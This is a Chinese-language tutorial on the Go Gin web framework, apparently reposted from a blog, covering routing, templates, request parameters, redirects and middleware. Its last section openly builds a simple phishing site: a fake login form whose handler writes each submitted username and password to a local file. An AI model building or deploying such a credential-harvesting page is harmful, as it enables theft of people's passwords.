gin框架学习
gin框架是什么
gin框架是一个用Go语言编写的web框架,其主要可以用于微服务开发等项目使用
goland快速安装gin
直接使用goland进行创建一个新项目即可
然后编写如下代码并运行(爆红忽略即可),
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
// 创建一个默认的路由引擎
r := gin.Default()
// GET:请求方式;/hello:请求的路径
// 当客户端以GET方法请求/hello路径时,会执行后面的匿名函数
r.GET("/hello", func(c *gin.Context) {
// c.JSON:返回JSON格式的数据 gin.H 是map[string]interface{}的缩写
c.JSON(200, gin.H{
"message": "Hello",
})
})
// 启动HTTP服务,默认在0.0.0.0:8080启动服务
r.Run()
}
运行后可以发现报错
点击下面的go get即可进行下载
下载完成会显示编译成功即可运行代码
gin简单学习
创建服务
使用gin.Default()方法进行创建一个服务。
其不仅创建了一个Gin引擎,还自动注册了一些默认的中间件。
并且这个函数返回的是一个 *gin.Engine类型对象,这个对象是Gin的核心,用来处理HTTP请求和路由。
而除了gin.Default方法之外,还有一个gin.New()方法也可以进行创建服务,这个函数创建出的引擎是没有添加任何默认中间件的引擎实例,所有操作都可以自己进行,更加灵活。
package main
import "github.com/gin-gonic/gin"
func main() {
//创建一个服务
ginServer := gin.Default()
}
创建请求内容
使用ginServer.GET,或者ginServer.POST进行创建GET请求或者POST请求的路由。
这俩个方法都接收俩个参数,第一个为路由路径,第二个为路由处理函数,当访问这个路由时就会触发后面的路由处理函数。
import (
"github.com/gin-gonic/gin"
)
func main() {
//创建一个服务
ginServer := gin.Default()
//创建一个get请求
ginServer.GET("/hello", func(context *gin.Context) {
context.JSON(200, gin.H{"msg": "hello"})
})
运行服务
使用的是.Run方法,Run方法启动一个HTTP服务器,开始监听并传入的请求,其接收参数为指定监听的端口
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
//创建一个服务
ginServer := gin.Default()
//创建一个get请求
ginServer.GET("/hello", func(context *gin.Context) {
context.JSON(200, gin.H{"msg": "hello"})
})
//服务器端口,以及运行服务
ginServer.Run(":8081")
}
运行后访问127.0.0.1:8081/hello即可看到hello数据被输出
RESTful API实现
使用不同的请求访问页面时,可以通过定义不同的请求方法来实现不同的功能。
并且,在gin框架中,还有一个可以匹配所有请求方法的Any方法。
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
//创建一个服务
ginServer := gin.Default()
//创建一个get请求
ginServer.GET("/hello", func(context *gin.Context) {
context.JSON(200, gin.H{"msg": "hello"})
})
ginServer.POST("/user", func(context *gin.Context) {
context.JSON(200,gin.H{"msg":"POST"})
})
ginServer.PUT("/user", func(context *gin.Context) {
context.JSON(200,gin.H{"msg":"PUT"})
})
//服务器端口,以及运行服务
ginServer.Run(":8082")
}
可以使用burpsuit进行测试实现。
响应加载前端页面
使用静态文件
静态文件一般使用Static()方法进行设置,Static方法将某一个目录下的静态资源(HTML,CSS,JS等)映射到指定目录中。
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello Go WEB</title>
</head>
<body>
<h1>WEB</h1>
</body>
</html>
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
// 创建Gin路由
r := gin.Default()
// 设置静态文件路径
r.Static("/assets", "./public")
// 启动服务器
r.Run(":8080")
}
这样即可加载index.html到/index中
gin模版引擎渲染动态页面
其主要使用了LoadHTMLGlob方法来指定加载哪个目录下的HTML文件。
并且使用c.HTML来渲染并返回指定的界面。
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello Go WEB</title>
</head>
<body>
<h1>WEB</h1>
{{.msg}}
</body>
</html>
go
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
// 启动服务器
r.Run(":8080")
}
gin框架加载资源文件
使用Static方法进行加载资源文件
index.js
alert("Hacker")
static.css
body{
background: red;
}
main.go
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.Static("/static", "./static")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
// 启动服务器
r.Run(":8080")
}
获取请求参数
获取url请求参数
使用c.Param()获取指定参数
package main
import (
"github.com/gin-gonic/gin"
"net/http")
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.Static("/static", "./static")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
r.GET("/get/:id", func(context *gin.Context) {
id := context.Param("id")
context.JSON(http.StatusOK, gin.H{
"id": id,
})
})
// 启动服务器
r.Run(":8080")
}
获取get请求参数
使用DefaultQuery()或Query()方法获取,这俩个方法的区别是,DefaultQuery()方法可以设置无参数传入时的默认值,而Query方法直接返回空字符串
package main
import (
"github.com/gin-gonic/gin"
"net/http")
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.Static("/static", "./static")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
r.GET("/get", func(context *gin.Context) {
id := context.Query("id")
pass := context.DefaultQuery("pass", "123456")
context.JSON(http.StatusOK, gin.H{
"id": id,
"pass": pass,
})
})
// 启动服务器
r.Run(":8080")
}
获取post请求参数
主要使用DefaultPostForm和PostForm方法来获取参数,区别和上面一样
package main
import (
"github.com/gin-gonic/gin"
"net/http")
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.Static("/static", "./static")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
r.POST("/get", func(context *gin.Context) {
id := context.PostForm("id")
pass := context.DefaultPostForm("pass", "123456")
context.JSON(http.StatusOK, gin.H{
"id": id,
"pass": pass,
})
})
// 启动服务器
r.Run(":8080")
}
获取json请求体参数
使用BindJson方法来获取数据
package main
import (
"github.com/gin-gonic/gin"
"net/http")
type User struct {
Name string `json:"name"`
Age int `json:"age"`
}
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.Static("/static", "./static")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
r.POST("/get", func(context *gin.Context) {
var user User
context.BindJSON(&user)
context.JSON(http.StatusOK, gin.H{
"name": user.Name,
"age": user.Age,
})
})
// 启动服务器
r.Run(":8080")
}
获取请求头
可以使用GetHeader函数来获取请求头的特定字段
package main
import (
"github.com/gin-gonic/gin"
"net/http")
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.Static("/static", "./static")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
r.GET("/get", func(context *gin.Context) {
header := context.GetHeader("Connection")
context.JSON(http.StatusOK, gin.H{
"header": header,
})
})
// 启动服务器
r.Run(":8080")
}
获取表单参数
package main
import (
"github.com/gin-gonic/gin"
"net/http")
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.Static("/static", "./static")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
r.POST("user/login", func(context *gin.Context) {
username := context.PostForm("username")
password := context.PostForm("password")
context.JSON(http.StatusOK, gin.H{
"username": username,
"passwoed": password,
})
})
// 启动服务器
r.Run(":8080")
}
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello Go WEB</title>
<link rel="stylesheet" href="../static/static.css">
<script src="../static/index.js"></script>
</head>
<body>
<form action="/user/login" method="post">
<p>username:<input type="text" name="username"></p>
<p>password:<input type="text" name="password"></p>
<button type="submit">提交</button>
</form>
</body>
</html>
路由
重定向
路由重定向使用的方法为 Redirect方法,Redirect方法接收俩个参数;一个是状态码,通常使用 http.StatusFound
(302)或者 http.StatusMovedPermanently
(301)来表示重定向,另一个是重定向到的url,表示重定向到哪里去
package main
import (
"github.com/gin-gonic/gin"
"net/http")
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.Static("/static", "./static")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
r.GET("/search", func(context *gin.Context) {
context.Redirect(http.StatusMovedPermanently, "https://www.baidu.com")
})
// 启动服务器
r.Run(":8080")
}
路由组
gin中使用Group方法进行创建路由组
package main
import (
"github.com/gin-gonic/gin"
)
func main() {
// 创建Gin路由
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.Static("/static", "./static")
r.GET("/index", func(context *gin.Context) {
context.HTML(200, "index.html", gin.H{
"msg": "Go Web",
})
})
a :=r.Group("cat")
{
a.GET("/1", func(context *gin.Context) {
})
a.POST("2", func(context *gin.Context) {
})
}
// 启动服务器
r.Run(":8080")
}
中间件
使用了Use方法来使用中间件。
package main
import (
"fmt"
"github.com/gin-gonic/gin" "net/http")
func Logger() gin.HandlerFunc {
return func(c *gin.Context) {
fmt.Println("Logger middleware executed")
c.Next() // 执行后续的处理函数
}
}
func main() {
r := gin.Default()
// 使用中间件
r.Use(Logger())
r.GET("/test", func(c *gin.Context) {
c.String(http.StatusOK, "Test route")
})
r.Run(":8080")
}
使用gin编写一个简单的钓鱼网站
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Hello Go WEB</title>
<link rel="stylesheet" href="../static/static.css">
<script src="../static/index.js"></script>
</head>
<body>
<form action="/login" method="post">
<p>username:<input type="text" name="username"></p>
<p>password:<input type="text" name="password"></p>
<button type="submit">提交</button>
</form>
{{.msg}}
</body>
</html>
main.go
package main
import (
"fmt"
"github.com/gin-gonic/gin" "net/http" "os")
const goo = 0
func main() {
file, err := os.OpenFile("example.txt", os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0644)
if err != nil {
fmt.Println("Error opening file:", err)
return
}
defer file.Close()
r := gin.Default()
r.LoadHTMLGlob("public/*")
r.GET("/index", func(context *gin.Context) {
context.HTML(http.StatusOK, "index.html", gin.H{})
})
r.POST("/login", func(context *gin.Context) {
username := context.PostForm("username")
password := context.PostForm("password")
log := username + ":" + password + "\n"
file.WriteString(log)
context.Redirect(http.StatusMovedPermanently, "http://127.0.0.1:8080/index")
})
r.Run(":8080")
}
原文地址:https://blog.csdn.net/2301_80148821/article/details/144409242
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!